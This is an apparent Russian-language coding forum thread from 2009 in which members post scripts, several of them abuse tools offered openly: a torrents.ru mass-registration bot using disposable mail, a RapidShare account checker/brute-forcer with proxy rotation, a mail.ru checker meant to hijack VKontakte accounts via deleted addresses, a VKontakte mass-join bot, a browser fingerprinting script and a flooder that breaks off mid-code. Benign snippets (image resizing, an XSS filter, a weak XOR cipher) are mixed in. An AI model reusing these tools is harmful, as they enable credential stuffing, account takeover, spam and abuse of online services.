m0Hze http://mrthe.name/2009/08/kak-hranit-paroli-polzovatelej/
кагбэ советую почитать.
m0Hze http://mrthe.name/2009/08/kak-hranit-paroli-polzovatelej/
кагбэ советую почитать.
Никогда не знал об этом !
(Я храню не пассы в хешах,а кое что другое)
Так что не актуально.Тот кому это нужно - посомтрит и поймет
Полуавтоматический регистратор Torrents.ru
http://pic.ipicture.ru/uploads/090914/c4ePUiyDiY.png
<?php
@set_time_limit(0);
@ignore_user_abort(1);
//-----------------//
$torrents = 'torrents.txt'; // Файл с аккаунтами
$divider = ':'; // Разделитель
$sleep = '30'; // Задержка для проверки E-mail
$proxy = ''; // Можно через покси (127.0.0.1:8008)
$log = '0'; // 1 - Если нужно писать логи
$log_txt = 'log.txt'; // Log-файл
//-----------------//
function post($url,$post,$refer,$proxy)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
if ($proxy == '')
{
$proxy = null;
}
/* Если нам передали капчу... */
if ($_POST['captcha'])
{
/* Регистрируем E-mail */
$result = post('http://odnorazovoe.ru/inbox.php?mailbox='.$_POST['login'],null,'http://odnorazovoe.ru/',$proxy);
/* Массив с данными */
$postdata = array(
'method' => 'post',
'mode' => 'register',
'reg_agreed' => '1',
'sid' => '',
'username' => $_POST['login'],
'email' => $_POST['login'].'@odnorazovoe.ru',
'new_password' => $_POST['password'],
'password_confirm' => $_POST['password'],
'cap_sid' => $_POST['cap_sid'],
'cap_code_'.$_POST['cap_code_'] => $_POST['captcha'],
'user_flag_id' => '0',
'user_timezone_x2' => '6',
'submit' => 'Отправить',
);
/* Отправка данных */
$result = post('http://torrents.ru/forum/profile.php',$postdata,'http://torrents.ru/forum/profile.php?mode=register',$proxy);
if($log == '1')
{
$fh = fopen($log_txt, "a+");
$success - fwrite($fh, $login."Ждём URL-активации [".date("H:i")."]\r\n");
fclose($fh);
}
/* Цикл проверки почты */
while($email[1] == null)
{
$result_email = post('http://odnorazovoe.ru/inbox.php?mailbox='.$_POST['login'],null,'http://odnorazovoe.ru/',$proxy);
preg_match('#eml.php(.*?)"#i',$result_email,$email);
sleep($sleep);
}
/* Получаем URL-активации */
$result = post('http://odnorazovoe.ru/eml.php'.$email[1],null,'http://odnorazovoe.ru/',$proxy);
preg_match('#activate(.*?)<#i',$result,$url);
$url = str_replace("&","&",$url[1]);
/* Отправляем данные */
$result = post('http://torrents.ru/forum/profile.php?mode=activate'.$url,null,'http://odnorazovoe.ru/',$proxy);
if(preg_match('#активиз(.*?)\.#i',$result,$ end))
{
/* Сохраняем результат */
$fh = fopen($torrents, "a+");
$success - fwrite($fh, $_POST['login'].$divider.$_POST['password']."\r\n");
fclose($fh);
if($log == '1')
{
$fh = fopen($log_txt, "a+");
$success - fwrite($fh, "Зарегистрировались [".date("H:i")."]\r\n");
fclose($fh);
}
Header('Location: index.php');
}
}
else
{
/* ...если не передали капчу */
$letters = 'abcdefghijklmopkqrstuvwxyz';
for ($i = 0; $i < 20; $i++)
{
$login .= $letters{rand(0, strlen($letters) - 1)};
}
$password = rand(123456,7777777);
$name = rand(0,7777777);
/* Получаем страницу регистрации */
$result = post('http://torrents.ru/forum/profile.php?mode=register','reg_agreed=1','http://torrents.ru/forum/profile.php?mode=register',$proxy);
/* Вытаскиваем нужные значения */
preg_match('#http://static.torrents.ru/captcha/(.*?)"#i',$result,$match);
preg_match('#cap_sid" value="(.*?)"#i',$result,$match_sid);
preg_match('#cap_code_(.*?)"#i',$result,$match_cap);
/* Регистрация на трекере ограничена */
if($match[1] == '')
{
echo '<script>alert(\'В данный момент регистрация закрыта!\')</script>';
}
}
/* geforse.name */
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="Content-Style-Type" content="text/css">
<title>torrents.ru | geforse.name</title>
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
<link rel="search" type="application/opensearchdescription+xml" title="Поиск на torrents.ru" href="http://static.torrents.ru/opensearch.xml">
<link rel="stylesheet" type="text/css" href="http://static.torrents.ru/templates/default/css/main.css?v=18" media="all">
</head><body>
<div id="preload" style="overflow: hidden; position: absolute; top: 0pt; left: 0pt; height: 1px; width: 1px;"></div>
<div id="body_container">
<div id="page_container">
<a name="top"></a>
<div id="page_header">
<div id="logo">
<table cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
<td style="padding: 4px 0pt 5px;">
<a href="http://torrents.ru/forum/index.php"><img src="http://static.torrents.ru/images/logo/logo.gif" alt="logo" height="85" width="320"></a>
</td>
</tr>
</tbody></table>
</div>
<div class="topmenu">
<table cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
</tr>
</tbody></table>
</div>
<div id="page_content">
<table style="width: 100%;" border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td id="main_content">
<div id="main_content_wrap">
<h1 class="pagetitle">Регистрация</h1>
<form action="index.php" method="post">
<table class="forumline usercp_register">
<col class="row1" width="35%">
<col class="row2" width="65%">
<tbody class="pad_4">
<tr>
<th colspan="2">Регистрационная информация</th>
</tr>
<tr>
</tr>
<tr>
</tr>
<tr>
</tr>
<tr>
</tr>
<tr>
</tr>
<tr>
<td>Код подтверждения:</td>
<td>
<div><img src="http://static.torrents.ru/captcha/<?php echo $match[1]; ?>" alt="pic" height="72" width="120"></div>
<div>
<input name="captcha" value="" class="bold" type="text">
<input type="hidden" name="cap_sid" value="<?php echo $match_sid[1]; ?>" />
<input type="hidden" name="cap_code_" value="<?php echo $match_cap[1]; ?>" />
<input type="hidden" name="name" value="<?php echo $name; ?>" />
<input type="hidden" name="login" value="<?php echo $login; ?>" />
<input type="hidden" name="password" value="<?php echo $password; ?>" />
</div>
<br>
<a href="http://geforse.name/" target="_blank">geforse.name</a>
</td>
</tr>
<tr>
<td class="row2" colspan="2">
<div id="infobox-wrap" class="bCenter row1">
</div>
</td>
</tr>
<tr>
<td class="catBottom" colspan="2">
<div id="submit-buttons">
<input name="submit" value="Отправить" class="bold" type="submit">
</div>
</td>
</tr>
</tbody>
</table>
</form>
</div>
</td>
</tr></tbody></table>
</div>
</div>
</div>
</body></html>
http://pic.ipicture.ru/uploads/090914/thumbs/ko21vt2417.png (http://geforse.name/coding/poluavtomaticheskij-registrator-torrents-ru/)
P.S. регистрация доступна 16:00-18:00, поэтому не нужно пытаться запускать скрипт в другое время
/* geforse.name */ (http://geforse.name)
<input type="hidden" name="cap_sid" value="<?php echo $match_sid[1]; ?>" />
<input type="hidden" name="cap_code_" value="<?php echo $match_cap[1]; ?>" />
<input type="hidden" name="name" value="<?php echo $name; ?>" />
<input type="hidden" name="login" value="<?php echo $login; ?>" />
<input type="hidden" name="password" value="<?php echo $password; ?>" />
Можно везде заменить на:
<input type="hidden" name="name" value="<?=$name;?>" />
Думаем => Проверяем => Пишем
b3, у вас со вторым шагом проблемы
Вот вы написали $name; и по вашему что, интерпретатор php догадается что нужно вывести эту переменную на экран ?
Думаем => Проверяем => Пишем
b3, у вас со вторым шагом проблемы
Вот вы написали $name; и по вашему что, интерпретатор php догадается что нужно вывести эту переменную на экран ?
<input type="hidden" name="name" value="<?=$name;?>" />
выведет значение переменной $name
mailbrush
15.09.2009, 18:38
geforse, а по моему это у вас проблемы со знанием языка PHP.
не знал что равно перед переменной в данном случае выведет её значение )
беру слова назад)
Писал когда то чекер/брутер акков рапиды
#!/usr/bin/perl
#RapidShare.com checker by Gaus
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
#################################################
my $threads_count = 1; # Кол-во потоков
my $file_accounts = 'accs.txt'; # Файл с акками
my $file_valid_accounts = 'valid.txt'; # Файл с валидными акками
my $delm_accounts = ';'; # Разделитель списка акков
my $proxy_file = 'proxy.txt'; # Файл с прокси
my $proxy_mode = 'OFF'; # Юзать прокси(ON/OFF)
#################################################
my @accs : shared = lf($file_accounts);
my @proxys : shared = lf($proxy_file);
threads->new(\&main) for 1 .. $threads_count;
$_->join for threads->list;
sub main
{
while(@accs)
{
my $ua = LWP::UserAgent->new(timeout => 35,
cookie_jar => new HTTP::Cookies,
agent => agent());
if($proxy_mode eq 'ON')
{
until(proxy($ua)){}
}
my ($login, $pass) = split $delm_accounts => shift @accs;
my $answ = $ua->post("https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi",
["uselandingpage" => 1,
"login" => $login,
"password" => $pass])->code;
if($answ == 302)
{
wf($file_valid_accounts, "$login:$pass\n");
print "[ + ] $login:$pass\n";
}
else
{
print "[ - ] $login:$pass\n";
}
}
}
sub proxy
{
my $ua = shift;
my ($ip,$port) = split ':' => $proxys[rand scalar @proxys];
$ua->proxy('http' => "http://$ip:$port");
my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content;
if($test =~ m,REMOTE_ADDR=$ip,i)
{
print "[ + ] Current proxy: $ip:$port\n";
return 1;
}
else
{
print "[ - ] Error proxy: $ip:$port\n";
return 0;
}
}
sub agent
{
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand scalar @agents];
}
sub lf
{
open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data;
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
Download (http://www.x2b.ru/get/64129)
Я тут щас вспомнил одну штуку которую я юзал года 2 назад... это stdClass (уверен что многие даже не знают о его существовании). Это встроенный в php обьект (незнаю был ли он в php3 но в 4 версии был точно) он не поддерживает методов, но в нем очень удобно хранить любые данные и переменные. Если вы приверженец функцонального программирования stdClass избавит вас от проблемы области видимости переменных (аля global $a,$b,$c.....$z; блин не работает ааа!!! забыл $z1 прописать...)
$obj = new StdClass;
$obj->a="Hay";
$obj->b=array("a","b","c");
$obj->x=1;
как ты указал- так конечно намного красивее, единственное ошибка в коде- несортирует на бед и гуд (счас буду разбираться)
хех.. дописать три строки..
<?php
$a = file("acc.txt");
$good = fopen("good.txt", "a+");
$bad = fopen("bad.txt", "a+");
foreach ($a as $acc) {
echo $acc;
$acc = explode("@", $acc);
$url = file_get_contents("http://win.mail.ru/cgi-bin/passremind?action=login&Username=" .
$acc[0] . "&Domain=" . $acc[1]);
if (strpos($url, "Пользователь отсутствует.")) {
echo "..........мыло свободно<br>";
fwrite($good, $login . "@" . $domain . "\n");
} else {
echo "..........забудь- его уже юзают<br>";
fwrite($bad, $login . "@" . $domain . "\n");
}
flush();
ob_flush();
}
fclose($good);
fclose($bad);
?>
так все в бед попадают (и кроме того в файл бед пишеться только знак @ т е ни логина ни домена)))
я конечно не доктор но прежде чем сохранить в этой строчке
fwrite($good, $login . "@" . $domain . "\n")
переменные обьявить нужно))), короче я так понял что еще три строчки и код будет такой-же корявый как и мой))))) (единственное мой рабочий)
а курл я использовал потому что по задумке после проверки те номера которые собирал в гууд должны были региться (авторегер) (сами понимаете что прочекав спам базу в ней обязательно найдуться мыла которые майл удалил а на этих мылах очень часто висят акки вконтакта)))
есть скрипт на сбор id групп вконтакте?
простой класс шифрования строки, думаю будет полезен новичкам
class Crypter{
var $key;
function Crypter($clave){
$this->key = $clave;
}
function setKey($clave){
$this->key = $clave;
}
function keyED($txt) {
$encrypt_key = md5($this->key);
$ctr=0;
$tmp = "";
for ($i=0;$i<strlen($txt);$i++) {
if ($ctr==strlen($encrypt_key)) $ctr=0;
$tmp.= substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1);
$ctr++;
}
return $tmp;
}
function encrypt($txt){
//srand((double)microtime()*1000000);
$encrypt_key = md5($this->key);
$ctr=0;
$tmp = "";
for ($i=0;$i<strlen($txt);$i++){
if ($ctr==strlen($encrypt_key)) $ctr=0;
$tmp.= substr($encrypt_key,$ctr,1) .
(substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1));
$ctr++;
}
return base64_encode($this->keyED($tmp));
}
function decrypt($txt) {
$txt = $this->keyED(base64_decode($txt));
$tmp = "";
for ($i=0;$i<strlen($txt);$i++){
$md5 = substr($txt,$i,1);
$i++;
$tmp.= (substr($txt,$i,1) ^ $md5);
}
return $tmp;
}
}
Далее вызываем класс и определяем ключ для нашего шифрования
$crypt= new Crypter('ТУТ ПИШЕМ КЛЮЧ');
Например
$crypt= new Crypter('anti4at');
чтобы зашифровать строку
$str='password'; // строка которую надо зашифровать
$crp=$crypt->encrypt($str);
в переменной crp лежит зашифрованая строка password
чтобы расшифровать
$decrp=$crypt->decrypt($crp);
Evgen...
24.09.2009, 23:18
Взял пару спс
<?php
$page = isset($_GET['dom']) ? $_GET['dom'] : '';
$s = file_get_contents('http://wtools.biz/whois/?domain='.$page.'');
$matches = explode('<p><b>', $s);
$matches = explode('Что', $matches[1]);
echo $matches[0];
// waketwo.ru
// xyuha.ru
?>
Незнаю даже как назвать, но скрипт типа граббер whois сервиса...
Для просмотра инфы о домене нужна зайти на скрипт.php ?dom=ДОМЕН КОТОРЫЙ ХАТИМ ПРОСМОТРЕТЬ
P.S. Скрипт писал под ICQ бота, поэтому нету полей ввода и т.д.
<?php
// Автор: wake2(cren)
// ICQ: 170-6-177
// БЛОГ: http://waketwo.ru/
// ВАРЕЗ ПОРТАЛ: http://xyuha.ru/
$www = rand(1, 404621);
$fp = file_get_contents('http://bash.org.ru/quote/'.$www.'');
$matches = explode('<div>', $fp);
$matches = explode('</div>', $matches[1]);
echo $matches[0];
?>
Выводит рандомную цитату с баш.орг.ру
<?php
// Автор: wake2(cren)
// ICQ: 170-6-177
$r = rand(1, 4626);
$fp = file_get_contents('http://nya.sh/post/'.$r.'');
$matches = explode('</i></div>', $fp);
$matches = explode('</div>', $matches[1]);
echo $matches[0];
?>
Скрипт выводит рандомную цитату с НЯШ'a (nya.sh)
Помоему копирайтов больше чем самого кода))) Да и можно было в одном посте все уместить.
По-моему, больше пропиарить ресурсы хотел, чем скрипт написать
Определяет пол по имени, на основе того, что большинство женских имён заканчиваются на гласную. Определяет не 100% но для моих целей хватает. Поддерживает имена в транслите.
sub gender # 1 - woman; 0 - man
{
my ($name) = @_;
return 1 if $name=~"я\$";
return 1 if $name=~"а\$";
return 1 if $name=~"о\$";
return 1 if $name=~"ы\$";
return 1 if $name=~"э\$";
return 1 if $name=~"е\$";
return 1 if $name=~"a\$";
return 1 if $name=~"o\$";
return 1 if $name=~"i\$";
return 1 if $name=~"e\$";
return 1 if $name=~"Я\$"; # shit
return 1 if $name=~"А\$";
return 1 if $name=~"О\$";
return 1 if $name=~"Ы\$";
return 1 if $name=~"Э\$";
return 1 if $name=~"Е\$";
return 1 if $name=~"A\$";
return 1 if $name=~"E\$";
return 1 if $name=~"O\$";
return 1 if $name=~"I\$";
return 0;
}
ЗЫ. на самом деле я perl не знаю, так что говнокод тут явный.
zifanchuck
30.09.2009, 00:59
скрипт для добавления юзера в группы и встречи по диапазону. Диапазону групп и встреч. диапазон для групп и встреч один и тотже
вот скрипт
<form method="POST">
<center>
Email:<input type="text" name="email"><br>
Pass:<input type="text" name="pass"><br>
Стартовать с ID:<input type="text" name="start"><br>
Закончить на ID:<input type="text" name="end"><br>
Таймаут:<input type="text" name="sleep"><br>
<input type=submit value="НАчать РАботать!!!"></center>
<?php
set_time_limit(0);
function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$start = $_POST['start'];
$end = $_POST['end'];
$email = $_POST['email'];
$pass = $_POST['pass'];
$sleep = $_POST['sleep'];
if(!$email||!$pass||!$start||!$end||!$sleep){exit; }
for($i=$start; $i<=$end; $i++)
{
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
$result = curl("http://vkontakte.ru/club".$i,"");
preg_match_all ('#</li><li><a href=\'(.*)\'>#iU', $result, $regs);
$ssil = $regs[1][0];
$result = curl("http://vkontakte.ru".$ssil,"");
$result = curl("http://vkontakte.ru/events.php?act=s&gid=".$i,"");
preg_match_all ('#<a href=\"events\.php\?act=enter\&gid=(.*)\">#iU', $result, $regs);
$ssil = $regs[1][0];
$result = curl("http://vkontakte.ru/events.php?act=enter&gid=".$ssil,"");
sleep($sleep);
}
?>
[aCR]RASSVET
05.10.2009, 10:00
2 PHP-функции для работы с изображениями.
Представляю вашему вниманию 2 полезных PHP-функции для работы с картинками.
Одна из них позволяет пропорционально уменьшать размеры картинки, вторая - проверять картинку на валидность (защита от XSS-атак).
Пропорциональное уменьшение размеров изображения:
<?php
/** Универсальный ресайз картинок
*
* Функция позволяет копировать изображение,
* оставляя его исходные характеристики или
* изменяя его размер и/или качество.
* При изменении размера сохраняются пропорции.
*
* Функция умеет работать с изображениями
* следующих форматов: JPG, PNG, GIF.
*
* Параметры:
* @ $from - путь к изображению, над которым будут выполняться операции
* @ $to - путь к результирующему изображению
* @ $maxwidth - максимальная ширина изображения
* @ $maxheight - максимальная высота изображения
* @ $quality - качество картинки (0..100) (для JPG и PNG)
*
* Возвращаемые значения:
* false - во время выполнения произошла ошибка
* true - функция выполнилась успешно и без ошибок
*
* Автор:
* @name Валерий 'Figaroo' Киркиж
* @url http://figaroo.ru/
* @email mail@figaroo.ru
*/
function figaroo_resize_image ($from, $to, $maxwidth, $maxheight, $quality = 80) {
// защита от Null-байт уязвимости PHP
$from = preg_replace('/\0/uis', '', $from);
$to = preg_replace('/\0/uis', '', $to);
// информация об изображении
$imageinfo = @getimagesize($from);
// если получить информацию не удалось - ошибка
if (!$imageinfo) return false;
// получаем параметры изображения
$width = $imageinfo[0]; // ширина
$height = $imageinfo[1]; // высота
$format = $imageinfo[2]; // ID формата (число)
$mime = $imageinfo['mime']; // mime-тип
// определяем формат и создаём изображения
switch ($format) {
case 2: $img = imagecreatefromjpeg($from); break; // jpg
case 3: $img = imagecreatefrompng($from); break; // png
case 1: $img = imagecreatefromgif($from); break; // gif
default: return false; break;
}
// если создать изображение не удалось - ошибка
if (!$img) return false;
// меняем размеры изображения
$newwidth = $newheight = 0;
// требуется квадратная картинка
if ($maxwidth == $maxheight) {
// размеры картинки больше по X и по Y
if ($width > $maxwidth && $height > $maxheight) {
// пропорции картинки одинаковы
if ($width == $height) {
$newwidth = $maxwidth;
$newheight = $maxheight;
}
// ширина больше
elseif ($width > $height) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// высота больше
else {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
}
// размеры картинки больше только по X
elseif ($width > $maxwidth) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// размеры картинки больше только по Y
elseif ($height > $maxheight) {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
// в остальных случаях ничего менять не надо
else {
$newwidth = $width;
$newheight = $height;
}
}
// требуется горизонтальная картинка
elseif ($maxwidth > $maxheight) {
// размеры картинки больше по X и по Y
if ($width > $maxwidth && $height > $maxheight) {
// ширина больше
if ($width > $height) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// высота больше или равна ширине
else {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
}
// размеры картинки больше только по X
elseif ($width > $maxwidth) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// размеры картинки больше только по Y
elseif ($height > $maxheight) {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
// в остальных случаях ничего менять не надо
else {
$newwidth = $width;
$newheight = $height;
}
}
// требуется вертикальная картинка
elseif ($maxwidth < $maxheight) {
// размеры картинки больше по X и по Y
if ($width > $maxwidth && $height > $maxheight) {
// ширина больше или равна высоте
if ($width >= $height) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// высота больше
else {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
}
// размеры картинки больше только по X
elseif ($width > $maxwidth) {
$newwidth = $maxwidth;
$newheight = intval(((float)$newwidth / (float)$width) * $height);
}
// размеры картинки больше только по Y
elseif ($height > $maxheight) {
$newheight = $maxheight;
$newwidth = intval(((float)$newheight / (float)$height) * $width);
}
// в остальных случаях ничего менять не надо
else {
$newwidth = $width;
$newheight = $height;
}
}
// если изменений над картинкой производить не надо - просто копируем её
if ($newwidth == $width && $newheight == $height && $quality == 80) {
if (copy($from, $to)) return true;
else return false;
}
// создаём новое изображение
$new = imagecreatetruecolor($newwidth, $newheight);
$black = imagecolorallocate($new, 0, 0, 0);
$white = imagecolorallocate($new, 255, 255, 255);
// копируем старое в новое с учётом новых размеров
imagefilledrectangle($new, 0, 0, $newwidth - 1, $newheight - 1, $white);
//imagecolortransparent($new, $white);
imagecopyresampled($new, $img, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
// создаём файл с новым изображением
switch ($format) {
case 2: // jpg
if ($quality < 0) $quality = 0;
if ($quality > 100) $quality = 100;
imagejpeg($new, $to, $quality);
break;
case 3: // png
$quality = intval($quality * 9 / 100);
if ($quality < 0) $quality = 0;
if ($quality > 9) $quality = 9;
imagepng($new, $to, $quality);
break;
case 1: // gif
imagegif($new, $to);
break;
}
return true;
}
?>
Проверка на валидность:
<?php
// функция проверки изображения на валидность (защита от XSS-атак)
function verify_image ($file) {
// защита от Null-байт уязвимости PHP
$file = preg_replace('/\0/uis', '', $file);
// проверка изображения
$txt = file_get_contents($file);
if (preg_match('#&(quot|lt|gt|nbsp|amp);#i', $txt)) return false;
elseif (preg_match("#&\#x([0-9a-f]+);#i", $txt)) return false;
elseif (preg_match('#&\#([0-9]+);#i', $txt)) return false;
elseif (preg_match("#([a-z]*)=([\`\'\"]*)script:#iU", $txt)) return false;
elseif (preg_match("#([a-z]*)=([\`\'\"]*)javascript:#iU", $txt)) return false;
elseif (preg_match("#([a-z]*)=([\'\"]*)vbscript:#iU", $txt)) return false;
elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*expression\([^>]*>#iU", $txt)) return false;
elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*behaviour\([^>]*>#iU", $txt)) return false;
elseif (preg_match("#</*(applet|link|style|script|iframe|frame|frameset)[^>]*>#i", $txt)) return false;
return true;
}
?>
[aCR]RASSVET
05.10.2009, 10:04
Скрипт сбора информации о пользователе.
<script type="text/javascript">
var browserId = '', b_id1 = '', b_id2 = '', userInf = '';
</script>
<script type="text/javascript">
var jsversion = '';
for (var i = 1; i < 10; i++) document.write('<' + 'script language="javascript1.' + i + '">jsversion = "' + i + '";<' + '/script>');
b_id1 += jsversion + ''; var b_chk = 'A';
</script>
<script type="text/vbscript">b_chk = "B"</script>
<script type="text/javascript">
b_id1 += b_chk; b_chk = 'B';
try {delete this} catch (E) {b_chk = 'A'}
b_id1 += b_chk; b_chk = 'B';
try {delete navigator} catch (E) {b_chk = 'A'}
b_id1 += b_chk; b_chk = '0';
if (typeof Window == 'function') {if (window instanceof Window) {b_chk = '1';}}
b_id1 += b_chk; b_chk = '0';
if (typeof Document == 'function') {if (document instanceof Document) {b_chk = '1'}}
b_id1 += b_chk; b_chk = '0';
if (typeof Navigator == 'function') {if (navigator instanceof Navigator) {b_chk = '1'}}
b_id1 += b_chk; b_chk = 'B';
try {var docwrite = document.write; docwrite('')} catch (E) {b_chk = 'A'}
b_id1 += b_chk;
b_chk = 'A';
try {eval('cons'+'t acons=true');} catch(e) {b_chk = 'B'}
b_id1 += b_chk;
</script>
<script type="text/javascript">
if (window.crypto) {if (window.crypto.alert) {b_id1 = b_id1 + '1'}} else {b_id1 = b_id1 + '0'}
</script>
<script type="text/javascript">
if (typeof window.onload == "function") {
var chkonload = window.onload.toString();
var isonloadanonymous = (chkonload.search('anonymous') != -1);
if (isonloadanonymous) {b_id1 += '2'} else {b_id1 += '1'}
} else {b_id1 += '0'}
var actxobj = (typeof ActiveXObject == "function") ? 'B' : 'A';
var gactxobj = (typeof GeckoActiveXObject == "function") ? 'A' : 'B';
b_id1 += actxobj + gactxobj;
</script>
<script type="text/javascript">
var dopBrowserInfo = new function (ie) {
var d = document, w = window;
this.ff = !!w.Iterator && !!d.addEventListener && /a/[-1] == 'a';
this.ff2 = this.ff && (function x(){})[-6] == 'x';
this.ff3 = !!d.getElementsByClassName && this.ff && (function x(){})[-5] == 'x';
this.ie = (ie && '\v' == 'v');
this.ie5 = this.ie && ie == 5;
this.ie6 = this.ie && (ie == 6 || (d.compatMode && d.all && !!d.readyState));
this.ie7 = this.ie && (ie == 7 && d.documentElement && typeof d.documentElement.style.maxHeight != "undefined");
this.ie8 = this.ie && (ie == 8 && !!d.querySelectorAll);
this.safari = /a/.__proto__ == '//';
this.chrome = /source/.test((/a/.toString + ''));
this.opera = (!ie && !!w.opera && w.opera.toString() === "[object Opera]" && /^function \(/.test([].sort));
var div = d.createElement('div'),
body = d.body;
div.innerHTML = '<' + 'style' + '>' + '#_t{display:none;}#_t[rel^="D"]{display:block;}' + '<' + '/style' + '>';
div.innerHTML += '<span id="_t" rel="Detect"></span>';
div.style.display = 'none';
body.appendChild(div);
var obj = d.getElementById('_t'),
stat = w.getComputedStyle ? w.getComputedStyle(obj, null).getPropertyValue("display") : obj.currentStyle ? obj.currentStyle.display : null;
this.css3 = (stat == "block");
body.removeChild(div);
this.result = new String();
this.result += (this.ff ? '1' : '0') + (this.ff2 ? '1' : '0') + (this.ff3 ? '1' : '0') + '.';
this.result += (this.ie ? '1' : '0') + (this.ie5 ? '1' : '0') + (this.ie6 ? '1' : '0') + (this.ie7 ? '1' : '0') + (this.ie8 ? '1' : '0') + '.';
this.result += (this.safari ? '1' : '0') + (this.chrome ? '1' : '0') + (this.opera ? '1' : '0') + (this.css3 ? '1' : '0');
}(0 /*@cc_on + (@_jscript_version * 10 % 10) @*/);
b_id2 = dopBrowserInfo.result;
delete dopBrowserInfo;
</script>
<script type="text/javascript">
if (window.screen.width && window.screen.height) {
userInf += window.screen.width + '*' + window.screen.height;
if (window.screen.colorDepth) userInf += '@' + window.screen.colorDepth;
} else userInf += 'undefined';
if (navigator.systemLanguage) userInf += ' ' + navigator.systemLanguage; else userInf += ' no';
if (navigator.browserLanguage) userInf += ' ' + navigator.browserLanguage; else userInf += ' no';
if (navigator.userLanguage) userInf += ' ' + navigator.userLanguage; else userInf += ' no';
if (navigator.javaEnabled()) userInf += ' yes'; else userInf += ' no';
</script>
<script type="text/javascript">
browserId = b_id1 + ' ' + b_id2 + ' ' + userInf;
document.write(browserId);
</script>
[aCR]RASSVET
05.10.2009, 10:06
Универсальный флудер на PHP.
<?php
/*
* Figaroo Multi-purpose Flooder v1.0
*
* Описание: универсальный флудер
* Требования: разрешение на работу с сокетами
* Автор - Figaroo, http://figaroo.ru/
*/
// неограниченное время выполнения скрипта
set_time_limit(0);
// настройки
define('URL', 'POST http://localhost/poligon/global_flooder/test.php'); // HTTP-метод и URL скрипта, который будем флудить
define('TIMES', 3); // количество сообщений, которых требуется отправить
define('ANTIFLOOD', 5); // время задержки (антифлуда), в секундах
define('COOKIES', 'param1=a; param2=b'); // кукисы
define('REFERER', 'http://localhost/poligon/global_flooder/test.php'); // реферер
define('USERAGENT', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'); // юзер-агент
define('RNDVAR', '<VAR>'); // случайный текст будет подставлен вместо этого
// данные для отправки методом GET
// <VAR> будет заменено на случайное значение
$GET_DATA = array(
'text' => 'Привет всем!',
);
// данные для отправки методом POST
// <VAR> будет заменено на случайное значение
$POST_DATA = array(
'message' => 'Тест. message =) [<VAR>]',
'test' => '123',
);
// флудим
$count = 0; // счётчик отправленных сообщений
$url = explode(' ', URL);
$method = $url[0];
$url = parse_url($url[1]);
if (!@$url['port']) $url['port'] = 80;
$GET_DATA = array_function('rnd_var_handl', $GET_DATA);
$GET_DATA = $GET_DATA ? http_build_query($GET_DATA) : '';
$POST_DATA = array_function('rnd_var_handl', $POST_DATA);
$POST_DATA = $POST_DATA ? http_build_query($POST_DATA) : '';
// отправка сообщений в цикле
for ($i = 0; $i < TIMES; $i++) {
$fp = @fsockopen(@$url['host'], @$url['port'], $errno, $errstr, 10);
if (!$fp) continue;
// формируем заголовки запроса:
